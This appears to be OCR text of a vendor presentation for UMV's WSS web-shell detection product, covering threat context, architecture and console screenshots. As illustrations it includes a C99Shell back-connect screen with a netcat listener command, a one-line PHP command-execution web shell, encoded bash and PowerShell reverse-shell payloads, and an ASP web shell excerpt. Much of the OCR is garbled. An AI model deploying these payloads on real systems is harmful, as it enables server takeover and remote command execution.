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Founded in 2008

Seoul, South Korea
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https://www.youtube.com/watch?v=YteNJceNs3s&t=2s
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Assets
affected in
breaches

2023 Verizon DBIR




Top asset
varieties In
breaches
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The Secret Key:
Web shells

Mitre ATT& CK® T1505.003
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Over 90% of web service hacks via
pulk texts In 2023 utilized web shells

2024.08.28 DailySecu

https://www.dailysecu.com/news/articleView.htmI?idxno=158870




James (aws)

Jusr/local/bin $ aws 1am create-user

cli-auto-prompt
user-name: ;uﬂESI

--user-name [string]: The name of the user to create.

https://aws.amazon.com/ko/what-is/cli/

Al AZEAEE CHE T2 7020| &
e HAHZ OIFT|O|A(CLI) = 2T AR
« BGF AHA =S IMLD e VY HHEE"Y

AW

Hardware




Web Shells: A Shell-Like Backdoor

C99Shell v. 1.0 pre-release build #17 ¢

Software: Apache. PHP/5.2.17-0.ic-vip.0D
uname -a: Linux #1 SMP Wed Aug 3 07:36:31 CEST 2011 x86_64

Ssafe-mode:
fhome/ frootf drwxr-xur-x
Free 199.68 GB of 920.01 GB (21.7%:)

[Home] [Back] [Forward] [UPDIR] [Refresh] [Search] [Buffer] [Encoder] [Tools] [Proc.] [FTP
brute] [Sec.] [SQL] [PHP-code] [Self remove] [Logout]

Shell

L‘:‘f ‘ﬂ ‘|_"| cixtor. com ks - | _
Port: 31373 c95 Using PERL I Bind

Back connection:
. HOST: 10.10.30.20 art: 31373 Using PERL Connect

Click "Connect” only after open port for it. You should use MetCat®, run "nc -1 -n -v -p 31373"!

Datapipe:
1 HOST: irc.dalnet.m: 6867 Local port: 8081 Using PEEL

_ Mote: sources will be downloaded from remote server.

:: Command execute : Web
" Server
Hardware

Enter:

https://www.hyyat.com/en/knowledgebase/hacking-tools-c99-shell/
https://github.com/cixtor/phpshellgen



How Web Shells Get In

compromised website /
web application

web server
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remote access +
command execution




umv

The Anatomy of a Web Attack
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Web Shells in the Wild

¢tform method="get" name="shell™>
¢<1nput type="text" name="command” 1d="command” size="80" autofocus>

¢input type="submit®™ value="Run">
</Torm>
¢<pre><?php 1f(1sset($ GET| "'command’ |)) { system($% GET[ command’]); }?></pre>

rooti@hk:~/genRev_shell# python3 genRevershell.py 192.168.1.6

Full pay l ad for cmd to reverse Ehﬂll for Linux target is:

echo YmFzaCAtaSA+JiAvZ/GV2L3RjcCExOTIuMTYALJEuNLEx HWHHIDﬂ+]ﬁE: se6d -d|bash

root@hk :~/genRev_shell# python3 genRevershell.py 192.168.1.6 1. '

Full payload for cmd to reverse shell for Windows target is:

powershell.exe -EncodedCommand JABjAGwAaQBlAGAAdAAgADBATABOAGUADwWATAESAY2BgAGUAYWBOACAAUWBSAHMADAB 1A
GOAL gBOAGUAJAAULAFMAbWB ] AGSAZ(QBOAHMAL gBUAEMAUABDAGWAAQBE 1 AGAAdAACAC cAMOQASADTAL gAxADYAOAAUADEAL gA2ACCAL
AAXADT AMwABACKAOWAKAHMAJABY AGUAYQBtACAAPQAgACQAYWBsAGKAZQBUAHQAL gBHAGUAdABTAHQACgB1AGEAbQACACKAOWBDS
GIAeQBOAGUAWWBAAF@AIABIAHKAJAB1 AHMATAASACAAMAAUACAANgATADUAMWALAHWAIQB7ADAATQA7AHCAaABPAGWAZQACACEA]
ABpACAAPQAgACQACWBBAHIAZQBhAGOAL gBSAGUAYQBKACgAIABiAHKAdAB] AHMAL AAgADAAL AAgACQAYgBSAHQAZQBzACAATABLL
GAAZWBOAGEAKQAPACAAL QBUAGUATAAWACKkAewA7ACQAZ ABhAHQAYQASADBATAACAEAAZOB3ACOATWE i AGOAZQBjAHOATAALAFQAe
QBWAGUATgBhAGBAZQAgAFMAeQBzAHQAZQBLACAAVABL AHgAdAAUAE EAUWBDAEKASQBFAGAAYWBVAGQAaQBUAGCAKQAUAE cAZQBB!
FMAdAByAGKkAbgBnACgAJAB1 AHKAJAB 1 AHMAL AAWACWAT AAKAGKAKQAYACQACWEB 1 AGAAZAB1I AGEAYWBrACAAPQASACsAaBl1AHSAT
AAKAGQAY(QBOAGEATAAYADAA] sAxACAATAASAESAdOBBACOAUWBBAHTIAaQBuUAGCATAAPADSATABZzAGUAbgBKAGTIAY(QBJAGSAMgASh
LAAPQAACQACWB1AGAAZ ABI AGEAYWBrACAAKWwAgAC cAUABTACAA JwAgACSATAACAHAADWBKACKAL gBQAGEAdABoACAAKWwASAC CAP
AgACcADWAKAHMAZ QBuAGQAYgBSAHQAZ QAsADOAT AACAF sAdAB 1 AHgAdAAUAGUAbsBjJAGEAY ABpAGAAZwBdADoAOgBBAFMAQWE 1 £
KAKQAUWAEcAZQBOAETA=QBRAGUACWACACQACWEB 1 AGAAZABI AGEAYWBrADIAKQA7ACQACWBBAHIAZQBhAGRAL gBXAHTAaQBOAGUAK
AALAHHALHEUAEHA?L1-AHHALHA-ADAALAARAHMA;QEUA&QH?E:JAHQHLQHUAEwHLQEUHhcAdAEgALhHBHAhAHMHdAEFHhUA?QEtﬁ
CAARgBsAHUACwBoACgAKQB9SADsATAA=

a:+ﬂhk ~fgenRev_shell# I

[ )
=
E

https://github.com/HoangKien1020/WebShells/blob/main/README.md
https://www.igloo.co.kr/security-information/%EC%9B%BIO%EC%89%I8%ECHID%84-%ECHKID%BLWBECHIABAIUE DWISHIC-EANBIUBSUEA%B2%A9-

WEDWBCHABKEBWIFWBACKEBWEBWALUECHIE%84-UEBWBIWBEOWED%I9%94-UEBWBOWSFE-BEBWSCHEOWECHIDWINUECHAO%ELUEBWIEXKBS/




The Status Quo

External
Network
Web
Network IPS/IDS Application
Firewall Firewall
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Death * Rule « CSRF

 DNS Match o XSS

e FTP * Rule Match

e TELNET * DDoS

* NetBios

Buffer

Zone
(DMZ)

Web
Server/WAS

 Bulletin board

* Image editor
« HTTP PUT Method

« Remote File Include (RFI)

Port 80

Internal

Network

Production
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DTA
Servers

e External collaborators

* Internal employees
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WAFs Aren’t Enough
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Advanced
Persistent Threat
(APT)
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Imperva WAF®

F5 Advanced WAF®
Sophos XG
Firewall®

GFl LanGuard®
Avast Patch

Management®
lvanti PatchLink®

CrowdStrike Falcon®
Cisco Advanced Malware
Protection®

Cisco Secure Firewall®
Fortinet Fortigate®
Barracuda CloudGen
Firewall®

F5 BIG-IP® Network Firewall®
Check Point Quantum®

Network System

A Booster Solution
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Web App / S Data
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bility oding  Malware
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Acunetix®
Fortra Vulnerability
Management®
Qualys Web
Application
Scanner®

Tripwire |P360® Thales Network Encryptors®

Trellix Data Encryption
Suite®

Senetas CypherNET®

Check Point CloudGuard
Spectral®
OpenText Fortify®
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WSS Configuration

WSS Management Server(s)
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Structure and Operation

External Links

1. Report 2. Web Source 3. Web Shell 4., Malicigus URL 5. Roll-back
WSS Analysis Action Action
Management On-screen alert ASP Black/White List Quarantine
Server Roll-back
(Reporting/ F-mail alert JSP Gray List
Actions) . Exception
Partial Web Shell URL/URI
WSS Agent system status -~ - — real-time file
(Detection) monitoring - - ~N upload/change
etectio / \ detection

OS Kernel home directory notices



WSS Detection Technology
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Detection is the priority
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Use Cases
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A Proven Track Record:

Agents installed and in Customers (companies, Patents and certifications
operation government, etc.) granted
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Thank you

Contact Us

UMYV Inc.

Seoul, South Korea
@ +82 2 448-3435
@ sales@umvglobal.com

www.umvglobal.com




Questions?
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WSS Main Functions

Web Shell & Malicious URL Detection

Function Name Action Description

Detect and report web shell files found In full scans

Detection . .
and real-time detection

Real-Time Web
Shell Detection

Detection Take measures against malicious files through
History Actions guarantine or exceptions

Detect and report malicious URLs through full scans

Detection . .
and real-time detection

Real-Time Detection Quarantine, partially guarantine, or assign exceptions

Malicious URL History Actions to detected URLs
Detection

Management Manage detected URLs using Black/White/Gray List
Functions classification




Detection Details View

Web Shell & Malicious URL Detection

WEBSERVER

SATEGVAAD ® Malicious URL ® Change Prevenbion * Upload Fitenng = O X

View Manage Window Help [Admin Name : 2 X{smadmin)]

@ QUARANTINE

STl EXCERT REPORT o— | LOOGS SETTINGS ) NFO
et -G

Detectlon History ShellMonitor-1 > ShellMonitorTes... ~(19)localhost.locald...

Search Settings

Personal Information -~ JavaScript

Python

+ Function : @ Al © File Detection @ Change Detection @ Fitering ® Change Prevention - Type : Hash  Malcious URL

Latest Date ® Al @ Penod - o _ » Class ASP(VB)
stecton Dot : [ <4< e - |

Pattem

ASP(C#)  JSP - PHP Node.ls

Fie Name Wel-Known WebShel

5723fdd671442c9060e8cfebd!... |

v
Report Date
2024-01-31 13:30:55

Detection Language P H U I J E Path
ASP(VB) v

Rek Estimates Quantky

N

/home/test/ShelDetected

2024-01-
2024-01-
2024-01-
2024-01-

2024-01-
2024-01-
2024-01-
2024-01-
2024-01-
2024-01-
2024-01-
2024-01-
2024-01-
2024-01-
2024-01-

2024-01-3

2024-01-31

2024-01-3

13:30:55
13:30:55
13:30:55
13:30:55
13:30:55
13:30:55
13:30:55
13:30:55
13:30:55
13:30:55
13:30:55
13:30:55
13:30:55
13:30:55
13:30:55
13:30:55
13:30:55
13:30:55

2024-01-31 13:30:55
2024-01-31 13:30:55
2024-01-31 13:30:55
2024-01-31 13:30:55
2024-01-31 13:30:55
2024-01-31 13:30:55
2024-01-31 11:59:05

Save as Excel Fle

ASP(VB)
ETC
ETC
ETC
ISP
ISP
ISP
ISP
ISP
ISP
ISP
ISP
ISP
ISP
ISP
ISP
5P
ISP
ISP
ISP
ISP
ISP
ISP
5P
ETC

v

AR AN GES AR NEN AT BN AN ST AT BN N AT BN NS

/home/test/ShelDetected
/home/test/ShelDetected
/home/test/ShelDetected

/home/test/WebShel_Sample

/home/test/jsp
/home/test/jsp
/home/test/jsp
/home/test/jsp
/home/test/jsp
/home/test/jsp
/home/test/jsp
/home/test/jsp
st/isp
/home/test/jsp
/home/test/isp
/home/test/jsp
/home/test/jsp
/home/test/jsp
/home/test/jsp
/home/test/isp
/home/test/isp
/home/test/jsp
/home/test/jsp
/home/test/sp
/home/test/ShelDetected

6725c41e001832d776f557d04...

s01.4sp

s02.sp

s02.jsp

DB Inside{Mysal).jsp
DB Inside{Oracle).jsp
DB Inside{Oracle) 2.jsp
DB Inside{Sybase).jsp
DB nside(MSSQL).jsp

JSP Up¥ad excute system com...

JSP test sheljsp
JSP_KIT &st.jsp
JspCmda.Jsp
JspDoCode.jsp

Let's eat Database.jsp
Let's eat Oracle.jsp
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Detection History View

Web Shell & Malicious URL Detection

WEBSERVER

SATEGUARD ® WebShell ® Malicious URL * Personal Information *® Change Prevention * Upload Filtering = O X

View Manage Window Help [Admin Name : S2IX{smadmin)]

T3 d
IV IQWTN( L EXCEPT iﬂﬂﬂ REPORT LOGS @ SETTINGS INFO @ MONITOR

Inquiry a X m 'X"
Search

v
- ShelMonitor-1 (192.168.0.124) Detection Hlﬁory

LINUX

il loczlhost. bocaldomain(7) Search Settings
+ (3 WINDOWS

A Unassigned  Function : @ Al © Fie Detection ® Change Detection ® Fitering ® Change Prevention » Type : - Pattem Hash Mabcoous URL Personal Information JavaScript
Latest Date @ Al ® Period FiEREEIREE 2 _ +Class : - ASP(VB)  ASP(C#) J)SP - PHP - PERL - ETC

etecton vetos : [ >/ vore : [

10}1UOA] |

|

( Total 18 )
v -
Report Date Detection Language P H U I J E Path File Name Risk Estimates Quantity Well-l(nown\

2024-07-19 09:43:52 ASP(VB) v 4 /home/test/test/WebShell Sam... webshel.asp | webshel2
2024-07-19 09:25:38 ASP(VB) /home/test/test/test/ShelDete... 5723fdd671442c9060e8... IS

2024-07-19 09:25:38 ASP(VB) /home/test/test/test/ShelDete... 6725c41e001832d77615...

2024-07-19 09:25:38 JSP [home/test/test/test/ShelDete... s01.jsp

2024-07-19 09:25:38 JSP fhome/test/test/test/ShelDete... s02.)sp

2024-07-19 09:25:38 PHP [home/test/test/test/WebShel... PHPupback.php I PHPupback
2024-07-19 09:25:38 PHP /home/test/test/test/WebShell... PhpSpy_etc.php s

2024-07-19 09:25:38 ISP /home/test/test/test/WebShell... jsp File browser v1.0Jsp B jsp File brows
2024-07-19 09:25:38 /home/test/test/test/WebShell... phpshell2.php 1 3 phpshell2
2024-07-19 09:25:38 /home/test/test/test/WebShell... s02.)sp _—

2024-07-19 09:25:38 /home/test/test/test/WebShell... webshel.asp , webshel2
2024-07-19 09:25:38 /home/test/test/test/url blacklist.asp B 31

2024-07-19 09:25:38 /home/test/test/test/url index.php

2024-07-19 09:25:38 v /home/test/test/test/url url.asp
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WSS Main Functions

Configuration File Modification Detection & Other Detections

Function Name

Action

Description

Web Server/WAS
Configuration
Settings Change
Detection

Web Server
Settings File
Management

Report to the administrator when arbitrary or
malicious changes are made to the web server
configuration file

File and DB
Personal
Information
Detection

Personal Info.
Detection (File)

Detection and reporting of personal information
In web server files (PDF, HWP, DOC, PPT,
EXCEL, TXT, etc.)

Personal Info.
Detection (DB)

Detection and reporting of personal information
in DB

Uploaded File
Filtering

File Filtering

Filtering of unauthorized files uploaded via bulletin
board

Breach
Response

Attacker |IP
Detection

Manage detected URLs using Black/White/Gray List
classification




Detection Details View

Personal Information Detection
WEBSERVER

SAFIGEAKD ® WebShell ® Malicous URL * Personal Infoermation ® Change Prevention ® Upload Filtering = O X

View Manage Window Help [Admin Name : €2 smadmin)]

EXCEFT 1””“ REPORT E%T LGS SJ-E:I-‘E SETTIHGS m INFD .@ WORITOR

3 Detection Details - localhost.localdomain(127.0.0.1)

Inguiry
Searcn

= ShelMonitor-1 (192.168.0.124)
LIMLIX
B localhost. localdomain( 7 ) Search Settings - Date : 2024-07-19 09:43:52 + Status
+ [ WINDOWS

+File Time : 2024-07-19 09:43:52 - Fie S5Ee @ 27872 byte(s
8 Unassigned » Function yte(s) URL |~ Personal Information |~ lavaScript

. Date Zosr il PHP | PERL | ETC

( Total 16 )
 Detection Detais Type Detection Detais Acseccment  Status E

E-Mail col**@krpost.net Detected l

- Phone Number +82-2-448-%~** High  Detected i"'ﬂﬁliﬂé
Report D \wahshell Pat... Wscript. Shell Middle  Detected tes  Quantity Status WelHKnown \

2024-07-19 0TGP L-F Wscript.Network Middle  Detected Detected

2024-07-19 0
2024-07-19 ot Detected File

2024-07-19 0 11 'colap@krpostnet

2024-07-19 0 12 "webshell.asp v0.6

2024-07-19 0 13

2024-07-19 D¢ 14 server.scriptTimeout = 5400

2024-07-19 Ot 15 On Error Resume Mexi

2024-07-19 0 16

2024-07-19 0t 1F Dim wssh, wsnet, scfilesys, thesedrives

2024-07-19 0 18 Dim progname, thisis, execmd, whatmode, upfilepath, upfile

2024-07-19 O 13 Dim requestmethod

2024-07-19 0 al

3024-07-19 0 21 progname = Request ServerVariables("PATH_IMFO")

I 22 progname = Bightiprogname, Len(progname) - InStrBeviprogname, *™))
23
24

EE : ) |

: wrr e . Quarantine Backup Files uarantine Exception
26 Setwssh = server.CreateObject™Wscript. Shell") § & Backup e Q T cepton
27 Setwsnet = server. CreateQhject!"Wscript Metwork")

Detection Information

i ShellMonitor- ! =
+ Target - [homeftest/test/WebShel_Sample/webshel.asp confirm Docker 1 >LINUX =(7)localhost localdo.

-
(i

PHPupback

= Li
LA =

Isp File brows
phpshel2

Ped  Pd

wehshal?
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el

IHMI—'

Agent List

[con @ Lis gistration | Quarantine Motification J Exception Notification EEEIEE R a0l =

wcalhost. local. . .




Detection History View

Personal Information Detection

WEBSERVER )

AT YRR WebShell *® Malicious URL * Personal Information

Change Prevention *® Upload Filtering = O X

View Manage Window Help [Admin Name : Z21X{smadmin))

= = N
@ QUARANTINE F: | Excerr RIPORT a— LOGS SETTINGS ﬂ INFO MONITOR
— —

Search

- ShelMonitor-1 (192.168.0.124) Detechon History ShellMonitor-1 > LINUX >(7)localhost.localdo... \
LINUX L
il locahost.localdomain(7) Search Settings

+ [l WINDOWS

M Unassigned + Function : ® Al © Fie Detection ® Change Detection ® Fitering @ Change Prevention  Type :  Pattern ~ Hash ~ Malicous URL - Personal Information - JavaScript

+ Date : © Latest Date @ All © Period HErEETEEEE 2024-07-16 +Class . ASP(VB)  ASP(C#) JSP - PHP  PERL - ETC

( Total 18 )
v 2
Report Date Detectionlanguage P H U I ] E Path File Name | | Wel-Known\

2_024,-07‘-1‘9 '_0_9:_43:52 | ASP(VB) MDA A /home/testjtest/WebShel_Sam... webshellasp

2024-07-19 09:25:38 ASP(VB) /home/test/test/test/ShelDete... 5723fdd671442c0060e8... BN

2024-07-19 09:25:38 ASP(VB) /home/test/test/test/ShelDete... 6725¢41e001832d776f5... |

2024-07-19 09:25:38 ISP /home/test/test/test/ShelDete... s01.)sp

2024-07-19 09:25:38 JSP /home/test/test/test/ShelDete... s02.)sp L 2

2024-07-19 09:25:38 PHP /home/test/test/test/WebShel... PHPupback.php [z . PHPupback
2024-07-19 09:25:38 PHP [home/test/test/test/WebShel... PhpSpy etc.php i

2024-07-19 09:25:38 JSp /home/test/test/test/WebShel... jsp File browser v1.0jsp § isp File brows}
2024-07-19 09:25:38 PHP /home/test/test/test/WebShel... phpshel2.php (. phpshel2
2024-07-19 09:25:38 ISP [home/test/test/test/WebShel... s02.jsp e -

2024-07-19 09:25:38 ASP(VB) /home/test/test/test/WebShel... webshel.asp o webshel2
2024-07-19 09:25:38 ETC /home/test/test/test/un blackist.asp '

2024-07-19 09:25:38 fhome/test/test/test/un index.php

2024-07-19 09:25:38 v [home/test/test/test/url == 3 _
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WSS Main Functions

Management

Function
Name

Action

Description

Management
Functions

Update
Management

Agent, manager, pattern update and version
mManagement

Detection
Notifications &
External System
INntegration

Manage connections and interfaces with

external systems such as control screen, ESM, SMS,
EMAIL, etc.

Account and User
Permission
Management

Permission management by account and user

Statistics and
Reporting

View reports and statistics

Stability

Adjust resource usage rate of installed web server;
WAS Management server duplication support
(Active/Active)




Configuration Settings View

Management

; Manage Server

Settings Advanced

License Basic Information

Log Information « Server Serial No 2 |

Resource Status - Server Name & ShellMonitor-1

» Web Server Safeguard Version : 2.5.7.9
» 0S5 [ Version : Linux(64 Bit)
« Last S5tart Date : 2024-07-16 14:16:91

Server List

Set for All Agents

[ ] Server Access Information
=
=

» Web Server Safeguard Server Address : * . + Recovery Time : second(s)

Log Settings Information

 Log Clearing Settings : Automatically delete Logs after the following time has elapsed: ! Day(s)

[ ] Automatically delete Logs after the following quantity has been exceeded: | 10

Other

» HeartBeat Settings : On ( Every Seconds )




Update Management View

Management

3 Manage Updates

Update Agents + Pattern Types : (¢! Detection Pattern (©) Exception Pattern

Update Managers » Detection Language : = All © ASP(VB) © ASP(C#) © 1SP @ PHP @ JavaScript © Personal Information © PERL

([ Total 0 )

Update Management Servers Chas path Extensions Pattern

Update Global Patterns

Update Pattern Manually

Upload Referential Malicious URLs
Manage Malicious URL

Manage Local Patterns

Distribute Signature

Distribute Global Hash File

Local Hash Settings

Add Pattern § Delete Pattern




WSS Cloud Configuration Diagram

Administrator PC

WSS Cloud Components:

(® WSS Cloud Management Server »““
(@ WSS Cloud Agent(s) :

(3 WSS Cloud Manager Program WSS Cloud

WSS Cloud :
Management WSS Cloud . , Manager

Server | 5 Program

Internal Network

Internet
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o

Interworking with
External Systems
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WSS Main Functions

Cloud-Specific Features

Function
Name

Action

Description

Scale In/Out
Support

Scale Out

Upon WEB/WAS service scale out, new detection
targets are automatically registered and detection
begins

Scale In

Upon WEB/WAS service scale in, deleted VM agent
detection/change/deletion histories automatically
saved to management server

Docker/Conta
iner Support

View Basic
INnformation

Permission management by account and user

Classification and
Processing

Contalner classification and processing of detected
files




Internet

WSS On-Premise Configuration Diagram
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